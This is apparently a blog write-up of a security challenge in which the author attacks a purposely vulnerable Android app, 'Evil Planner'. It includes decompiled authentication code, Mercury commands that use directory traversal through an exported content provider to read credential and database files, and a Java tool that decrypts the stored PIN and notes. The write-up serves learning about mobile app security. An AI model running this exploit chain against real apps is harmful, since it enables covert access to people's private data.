BSides London 2013 Challenge 3

Determined to win a ticket to Security BSides London 2013 and undeterred by my previous failure, I completed the third challenge posted by MWR Labs. I wasn't successful, but I learnt a little about hacking Android apps and decided to share my answer so that others might learn something too.

The premise of this challenge is that you are hired by BigCorp to assist in acquiring evidence to prove that an employee is guilty of attacking their IT systems. They have discovered that the employee is using an Android app called Evil Planner, and they want you to find any vulnerabilities that might allow them to access and decrypt any incriminating information stored within the app. Ultimately, the IT wizards at BigCorp will use any vulnerabilities to compromise the employee's device to install a piece of custom malware to extract and decrypt data stored within the Evil Planner app.

Below is my submission:


The .apk file containing the app was downloaded from the MWR website and converted to a .jar file using d2j-dex2jar.sh bundled with the dex2jar toolset. The .class files within the .jar file were then decompiled using JAD. The .java files were then inspected for weaknesses. Of particular interest was the checkAuth method within the Login.java file. Below is an excerpt from this method:

FileInputStream fileinputstream = null;
FileInputStream fileinputstream1 = new FileInputStream((new StringBuilder()).append(getFilesDir()).append("/creds.txt").toString());
fileinputstream = fileinputstream1;
_L1:
BufferedReader bufferedreader;
String s1;
bufferedreader = new BufferedReader(new InputStreamReader(fileinputstream));
s1 = "";
String s2 = bufferedreader.readLine();
s1 = s2;
_L2:
TelephonyManager telephonymanager = (TelephonyManager)getSystemService("phone");
com.example.bsidechallenge.helper.LogWriter.writer.WriteLogMessage(this, telephonymanager.getDeviceId());
CryptoServiceSingleton.getInstance();
CryptoServiceSingleton.getCryptoService();
return CryptoService.encryptPIN(s, telephonymanager).equals(s1);


We can see that creds.txt is opened and the first line read. The device ID is then written to a log file, which was found to be logfile.html. The string passed to the method (the PIN entered by the user) is encrypted and compared to the line read from creds.txt. We can infer that creds.txt contains an encrypted representation of the PIN. If we can access this file and ascertain a way to decrypt its contents then we can gain access to the app’s data.


The method that encrypts the PIN (encryptPIN()) is part of the CryptoService class in  CryptoService.java. Similarly, the method to decrypt a PIN is within this class.



public static String decryptPIN(String s, String telephonymanager)
{
    return (new String(xor(telephonymanager.getBytes(), Base64.decode(s, 0)))).substring(0, 4);
}


No secret information is required to decrypt the PIN in creds.txt. The ciphertext is Base64 decoded and XOR’d with the device ID. We know the device ID because it is written to a log file during the authentication process. We will also need access to this file to gain this information. The device ID in my Android simulation was 000000000000000.

The CryptoService class was slightly amended to create a program that would decrypt/encrypt PINs. This program can be found in appendix 1. Note that the Base64 class from the Android SDK is required for the app to run.

For example, I used the PIN 1234 to access the device and the string AQIDBAECAwQBAgMEAQIDroot was stored in creds.txt, which I was able to access locally within my simulation using the Android Debug Bridge:


>java.exe CryptoService d AQIDBAECAwQBAgMEAQID 000000000000000
Decrypting…
1234


The program successfully decrypted the contents of creds.txt to reveal my PIN, so we know that we can decrypt the PIN successfully.

We now need to be able to access creds.txt and logfile.html remotely. That is access the files in a real world scenario, and not just within a simulation. These files are only readable by the app.

Using Mercury I was able to find a content provider that is susceptible to a directory traversal attack that can also be used to read the contents of these files because it does not require any special permissions to read/write.

The following shows that the permissions on the providers used by the app are open to all users (presumably because the developer failed to notice that the default is for content providers to be exported to other apps):


mercury> run app.provider.info -a com.example.bsidechallenge
Package: com.example.bsidechallenge
Authority: com.mwri.fileEncryptor.localfile
Read Permission: null
Write Permission: null
Multiprocess Allowed: False
Grant Uri Permissions: False
Authority: com.example.bsideschallenge.evilPlannerdb
Read Permission: null
Write Permission: null
Multiprocess Allowed: False
Grant Uri Permissions: False


The following shows that the following providers are susceptible to a directory traversal attack:


mercury> run scanner.provider.traversal com.example.bsidechallenge
Scanning com.example.bsidechallenge...
Not Vulnerable:
content://com.example.bsideschallenge.evilPlannerdb/title
content://com.example.bsideschallenge.evilPlannerdb
Vulnerable Providers:
content://com.mwri.fileEncryptor.localfile/data/data/com.example.bsidechallenge/files/
content://com.mwri.fileEncryptor.localfile

We can use one of these providers to read the contents of creds.txt and logfile.html:


mercury> run app.provider.read 
content://com.mwri.fileEncryptor.localfile/../../../../../../../../data/data/com.example.bsidechallenge/files/logfile.html
Starting App<br>Writing PIN to 
/creds.txt<br>000000000000000<br>000000000000000<br>000000000000000<br>0000
00000000000<br>
mercury> run app.provider.read 
content://com.mwri.fileEncryptor.localfile/../../../../../../../../data/dat
a/com.example.bsidechallenge/files/creds.txt
AQIDBAECAwQBAgMEAQID

The directory traversal vulnerability can also be used to access the SQLLite database:

Mercury> run app.provider.read 
content://com.mwri.fileEncryptor.localfile/../../../../../../../../data/dat
a/com.example.bsidechallenge/databases/evilPlannerdb
�V �tablepublicpublicCREATE TABLE public (_id INTEGER PRIMARY 
KEY,storedInDB TEXT)t �Gtablecredscreds CREATE TABLE creds (id INTEGER PRIMARY KEY,title TEXT,username TEXT,password TEXT,notes TEXT)� �ctablecardscardsCREATE TABLE cards (id INTEGER PRIMARY KEY,title TEXT,cardno TEXT,accno TEXT,sort TEXT,pin TEXT,notes TEXT)Z � tablenotesnotes CREATE TABLE notes (id INTEGER PRIMARY KEY,title TEXT,content TEXT)W --
ctableandroid_metadataandroid_metad ��6 ??PXArUWBbPU5zk+SvOQaSHQ==a 
(locale TEXT)
PXArUWBbPU5zk+SvOQaSHQ==
__�-??????Ky7Aky7Y197uBi2D1Oblqg==
5Yc7cEsJn6MJRsLkFk2Igw==
/5Btxlor+rG6rQh48dz1wg==
HQjlzLYJsvDiivHu5VJAYw==
tC8gVWp+MpW3wY2BhV4RdA==
WuHWEVaDgLawBIf7QRZtbQ==
��j ????HHsooxKd2hJlnfl2s14kQg==
mJOvPmppmN5yZHmyHcwcBg==
mJOvPmppmN5yZHmyHcwcBg==
CDUhvIIjMDWoSR9Sjun2Ew==
�� HOLA


It’s not pretty, but we can see the data in there. Looks like it is encrypted though.

Inspecting the code it appears that the database entries are encrypted using the encryptMessage method in CryptoService.java. The key is the PIN (which we have) and although salted, the salt is never initialised or changed. Again, we take this code and amend it so that we can decrypt the contents of the database. The full code can be found in appendix 1.

For example, we can decrypt CDUhvIIjMDWoSR9Sjun2Ew== with the PIN 1234:


> java.exe CryptoService D 1234 CDUhvIIjMDWoSR9Sjun2Ew==
plop

“plop” was what I entered in my simulation to the notes section of one of my credentials entries:




The information outlined here can be used to access the application and its data without the user of the Evil Planner app realising.

Appendix 1

import java.security.Key;
import javax.crypto.*;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

public class CryptoService
{
public static void main(String[] args)
{
try
{
if(args[0].equals("e"))
{
System.out.println("Encrypting...");
System.out.println(encryptPIN(args[1], args[2]));
}
else if(args[0].equals("d"))
{
System.out.println("Decrypting...");
System.out.println(decryptPIN(args[1], args[2]));
}
else if(args[0].equals("E"))
{
init(args[1]);
System.out.println(encryptMessage(args[2]));
}
else
{
init(args[1]);
System.out.println(decryptMessage(args[2]));
}
}
catch (Exception localException)
{
System.out.println(localException.getMessage());
}
}
    public CryptoService(String s)
        throws Exception
    {
        secretKey = new SecretKeySpec(SecretKeyFactory.getInstance("PBEWITHSHA256AND256BITAES-CBC-BC").generateSecret(new PBEKeySpec(s.toCharArray(), SALT, 1024, 256)).getEncoded(), "AES");
    }

public static void init(String s)
throws Exception
{
try {
secretKey = new SecretKeySpec(SecretKeyFactory.getInstance("PBEWITHSHA256AND256BITAES-CBC-BC").generateSecret(new PBEKeySpec(s.toCharArray(), SALT, 1024, 256)).getEncoded(), "AES");
}
catch (Exception localException)
{
throw new Exception("[encrypt] " + localException.getMessage());
}
}

    public static String decryptPIN(String s, String telephonymanager)
    {
        return (new String(xor(telephonymanager.getBytes(), Base64.decode(s, 0)))).substring(0, 4);
    }

    public static String encryptPIN(String s, String telephonymanager)
    {
        String s1 = telephonymanager;
        String s2 = s.substring(0, 4);
        return Base64.encodeToString(xor(s1.getBytes(), s2.getBytes()), 2);
    }

    private static byte[] xor(byte abyte0[], byte abyte1[])
    {
        byte abyte2[] = new byte[abyte0.length];
        int i = 0;
        do
        {
            if(i >= abyte0.length)
                return abyte2;
            abyte2[i] = (byte)(abyte0[i] ^ abyte1[i % abyte1.length]);
            i++;
        } while(true);
    }

    public static String decryptMessage(String s)
        throws Exception
    {
        byte abyte0[] = Base64.decode(s, 0);
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, secretKey);
        return new String(cipher.doFinal(abyte0));
    }

    public static String encryptMessage(String s)
        throws Exception
    {
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKey);
        return Base64.encodeToString(cipher.doFinal(s.getBytes()), 0);
    }

    public static final int PIN_LEN = 4;
    public static final byte SALT[] = new byte[16];
    public static Key secretKey;

}

Comments

Popular posts from this blog

The Business Case for Increasing Minimum Password Lengths

MWR Hackfu Challenge 2013

Password Presentation - P@ssw0rds